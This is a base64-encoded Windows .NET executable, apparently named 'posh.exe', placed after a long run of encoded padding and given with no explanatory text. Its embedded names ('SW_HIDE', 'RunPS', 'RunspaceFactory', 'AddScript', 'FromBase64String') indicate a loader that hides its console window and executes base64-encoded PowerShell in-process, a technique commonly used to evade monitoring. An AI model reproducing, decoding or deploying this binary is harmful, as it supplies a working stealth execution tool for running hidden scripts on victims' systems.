QQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEA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OQBeAEsAMQDIAVEAQQDpAVYASQD2ATgAQQA1AlsAMQA8AiEAYQBeACEADACFAmsAFACTAnsAYQCfAoAAcQDFAoYAeQDaAiEACQDiAooAgQDyAooAiQAAA6kAkQAUA64AiQAlA7QACAAEAA0ACAAIABIALgALAMMALgATAMwAjgC6AL8AJwE0AWQAdAAAAQMAQgABAAABBQBTAAIABIAAAAAAAAAAAAAAAAAAAAAA8AAAAAIAAAAAAAAAAAAAAAEAGwAAAAAAAQAAAAAAAAAAAAAAPQA/AQAAAAAAAAAAADxNb2R1bGU+AHBvc2guZXhlAFByb2dyYW0AbXNjb3JsaWIAU3lzdGVtAE9iamVjdABTV19ISURFAFNXX1NIT1cAR2V0Q29uc29sZVdpbmRvdwBTaG93V2luZG93AC5jdG9yAEludm9rZUF1dG9tYXRpb24AUnVuUFMATWFpbgBoV25kAG5DbWRTaG93AGNtZABTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAcG9zaABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbAB1c2VyMzIuZGxsAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5SdW5zcGFjZXMAUnVuc3BhY2VGYWN0b3J5AFJ1bnNwYWNlAENyZWF0ZVJ1bnNwYWNlAE9wZW4AUnVuc3BhY2VJbnZva2UAUGlwZWxpbmUAQ3JlYXRlUGlwZWxpbmUAQ29tbWFuZENvbGxlY3Rpb24AZ2V0X0NvbW1hbmRzAEFkZFNjcmlwdABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAQ29sbGVjdGlvbmAxAFBTT2JqZWN0AEludm9rZQBDbG9zZQBTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElFbnVtZXJhdG9yYDEAR2V0RW51bWVyYXRvcgBnZXRfQ3VycmVudABBcHBlbmQA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